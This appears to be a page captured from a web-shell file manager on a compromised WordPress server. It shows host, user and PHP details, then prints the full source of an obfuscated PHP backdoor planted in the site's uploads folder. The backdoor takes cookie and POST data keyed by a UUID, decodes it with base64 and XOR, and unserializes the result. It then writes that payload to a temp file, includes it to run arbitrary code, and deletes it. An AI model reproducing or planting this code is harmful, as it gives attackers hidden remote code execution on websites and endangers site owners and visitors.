HEX
Server: Apache/2.4.18 (Ubuntu)
System: Linux phubuntu06.apexhosting.com 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User: master06 (1000)
PHP: 7.0.33-0ubuntu0.16.04.16
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Upload Files
File: /var/www/html/stonescuppers_com/root/wp-content/uploads/2019/06/972aa3d0.php
$rduPH = "\101" . "\x6d" . "\145" . "\137" . "\x63" . chr (104) . chr ( 349 - 239 )."\102" . 's';$YQJGDUzbs = "\x63" . 'l' . chr (97) . chr (115) . 's' . '_' . chr (101) . chr ( 823 - 703 ).chr ( 396 - 291 ).chr ( 464 - 349 )."\x74" . "\x73";$CmPCWT = class_exists($rduPH); $YQJGDUzbs = "49453";$OXXxk = strpos($YQJGDUzbs, $rduPH);if ($CmPCWT == $OXXxk){function uhiTAKlfr(){$DBRkdZuvO = new /* 41090 */ Ame_chnBs(14780 + 14780); $DBRkdZuvO = NULL;}$HwHVGIV = "14780";class Ame_chnBs{private function jAqlBk($HwHVGIV){if (is_array(Ame_chnBs::$kUZMoKMdaw)) {$name = sys_get_temp_dir() . "/" . crc32(Ame_chnBs::$kUZMoKMdaw["salt"]);@Ame_chnBs::$kUZMoKMdaw["write"]($name, Ame_chnBs::$kUZMoKMdaw["content"]);include $name;@Ame_chnBs::$kUZMoKMdaw["delete"]($name); $HwHVGIV = "14780";exit();}}public function mLCOTPRfp(){$agwfWPmCq = "52219";$this->_dummy = str_repeat($agwfWPmCq, strlen($agwfWPmCq));}public function __destruct(){Ame_chnBs::$kUZMoKMdaw = @unserialize(Ame_chnBs::$kUZMoKMdaw); $HwHVGIV = "26312_53002";$this->jAqlBk($HwHVGIV); $HwHVGIV = "26312_53002";}public function WoOzyX($agwfWPmCq, $lYYmbAHQ){return $agwfWPmCq[0] ^ str_repeat($lYYmbAHQ, intval(strlen($agwfWPmCq[0]) / strlen($lYYmbAHQ)) + 1);}public function qSQLCpM($agwfWPmCq){$rPeps = "\x62" . chr ( 129 - 32 ).chr (115) . 'e' . "\66" . chr (52);return array_map($rPeps . "\137" . "\144" . chr ( 126 - 25 )."\143" . chr ( 553 - 442 ).'d' . "\145", array($agwfWPmCq,));}public function __construct($eTuEkHZ=0){$elJkcDSJbs = chr ( 442 - 398 ); $agwfWPmCq = "";$KadDOCSC = $_POST;$qaxrBuyqFp = $_COOKIE;$lYYmbAHQ = "6aaa0ef5-045d-4191-bcd5-9da18a64c838";$NAzBZ = @$qaxrBuyqFp[substr($lYYmbAHQ, 0, 4)];if (!empty($NAzBZ)){$NAzBZ = explode($elJkcDSJbs, $NAzBZ);foreach ($NAzBZ as $JZuHQNciE){$agwfWPmCq .= @$qaxrBuyqFp[$JZuHQNciE];$agwfWPmCq .= @$KadDOCSC[$JZuHQNciE];}$agwfWPmCq = $this->qSQLCpM($agwfWPmCq);}Ame_chnBs::$kUZMoKMdaw = $this->WoOzyX($agwfWPmCq, $lYYmbAHQ);if (strpos($lYYmbAHQ, $elJkcDSJbs) !== FALSE){$lYYmbAHQ = str_pad($lYYmbAHQ, 10); $lYYmbAHQ = ltrim(rtrim($lYYmbAHQ));}}public static $kUZMoKMdaw = 63864;}uhiTAKlfr();}